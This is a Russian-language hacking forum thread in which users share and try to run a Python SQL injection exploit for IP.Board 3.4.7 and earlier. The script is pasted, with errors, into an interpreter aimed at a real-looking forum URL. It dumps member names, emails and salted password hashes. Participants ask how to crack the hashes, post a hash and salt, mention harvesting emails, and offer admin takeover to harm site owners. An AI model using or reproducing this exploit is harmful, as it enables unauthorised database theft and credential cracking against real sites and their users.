[Уязвимость] Угоняем базу форума IPB версии 3.4.7 и меньше

[Motherfuckers]

да нечего сложного в гугле пропиши!

[slastikdj]

Цитата: Сообщение от figvam74 Вопрос к автору темы, либо к кому либо кто тут есть вообще и разбирается в этом) Вот угнал базу, он в md5(md5($salt).md5($pass)) + соль) Можно ли как то это теперь расшифровать?) т.е. расшифровка обычная, как и базы серверов ла2, или куда сложней?) Честно мало в этом разбираюсь, вот и спрашиваю)

Соль эт $salt. Я же написал, правильный хэш md5(md5($salt).md5($pass))

[Gotfo]

как расшифровать то с солью?

[Toker88]

Цитата: Сообщение от Gotfo как расшифровать то с солью?

Его нельзя расшифровать, так же, как и мд5. Пора бы это уже запомнить)

По сути базы нужны для парсера мыл, а не аккаунтов.

[KillerTT]

Подскажите как вообще запускать эксплоиты эти в гугле искал нечего толкового не нашёл.

[MrSmi]

>>> #!/usr/bin/env python
... # Sunday, November 09, 2014 - secthrowaway () safe-mail net
... # IP.Board <= 3.4.7 SQLi (blind, error based);
... # you can adapt to other types of blind injection if 'cache/sql_error_latest
.cgi' is unreadable
...
>>> url = 'http://forum.l2damage.ru/
File "<stdin>", line 1
url = 'http://forum.l2damage.ru/
^
SyntaxError: EOL while scanning string literal
>>> ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Ge
cko) Chrome/30.0.1599.17 Safari/537.36"
>>>
>>> import sys, re
>>>
>>> # <socks> - [Ссылки могут видеть только зарегистрированные пользователи. ]
... #import socks, socket
... #socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
... #socket.socket = socks.socksocket
... # </socks>
...
>>> import urllib2, urllib
>>>
>>> def inject(sql):
... try:
... urllib2.urlopen(urllib2.Request('%sinterface/ipsconnect/ipsconnect.p
hp' % url, data="act=login&idType=id&id[]=-1&id[]=%s" % urllib.quote('-1) and 1!
="\'" and extractvalue(1,concat(0x3a,(%s)))#\'' % sql), headers={"User-agent": u
a}))
... except urllib2.HTTPError, e:
... if e.code == 503:
... data = urllib2.urlopen(urllib2.Request('%scache/sql_error_latest
.cgi' % url, headers={"User-agent": ua})).read()
... txt = re.search("XPATH syntax error: '.*)'", data, re.MULTILIN
E)
... if txt is not None:
... return txt.group(1)
... sys.exit('Error [3], received unexpected data:\n%s' % data)
... sys.exit('Error [1]')
... sys.exit('Error [2]')
...
>>> def get(name, table, num):
... sqli = 'SELECT %s FROM %s LIMIT %d,1' % (name, table, num)
... s = int(inject('LENGTH((%s))' % sqli))
... if s < 31:
... return inject(sqli)
... else:
... r = ''
... for i in range(1, s+1, 31):
... r += inject('SUBSTRING((%s), %i, %i)' % (sqli, i, 31))
... return r
...
>>> n = inject('SELECT COUNT(*) FROM members')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<stdin>", line 3, in inject
NameError: global name 'url' is not defined
>>> print '* Found %s users' % n
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'n' is not defined
>>> for j in range(int(n)):
... print get('member_id', 'members', j)
... print get('name', 'members', j)
... print get('email', 'members', j)
... print get('CONCAT(members_pass_hash, 0x3a, members_pass_salt)', 'members
', j)
... print '----------------'


и что дальше?????

[dortezy]

Ну вроде получилось, только что делать дальше?

Кто может расшифровать это

d616deac21a21bd810b7bab567280915:ZInO>

Или скажите как можно расшифровать это самому и реально ли вообще?

Да и еще одна проблема, вся база, мейли и хэшы показываются в командной строке, но только определенное количество столбцов, например показываются последние 100 логинов мэйлов и хэшов, а старые уже не видны и к ним нельзя вернутся прокруткой наверх. Как исправить эту проблему?

[Zheludd]

Реально всё, но тут соль, так что забудь

[Gotfo]

Цитата: Сообщение от Zheludd Реально всё, но тут соль, так что забудь

а как с солью то расшифровать?

[Posidon]

Цитата: Сообщение от Gotfo а как с солью то расшифровать?

passwordspro тебе поможет

[Gotfo]

Цитата: Сообщение от Posidon passwordspro тебе поможет

там же соль никак

[Itself]

как возобновить сеанс ? т.е не с 1 пользователя,а например с 500. И почему только на некоторых есть зашифрованный пароль,а в основном просто прочерк?

[karkajoi123]

Все вроде пашет,показывает сколько юзеров зарегано в базе,логин мыло вытаскивает ,а вот с паролем проблема.
В общем проблема в этой строчке print get('CONCAT(members_password, 0x3a, members_password)', 'members', j) .В общем выдает вот такое
[Ссылки могут видеть только зарегистрированные пользователи. ] .Как я понял база ругается что такой колонки нету,или я не прав ?Какие посоветуете пути решения ?

[zoomcat3939]

где лог сохраняется ?

[Danique]

Могу научить заходить под админом с помощью этого сплоита и можно делать всякие гадости админам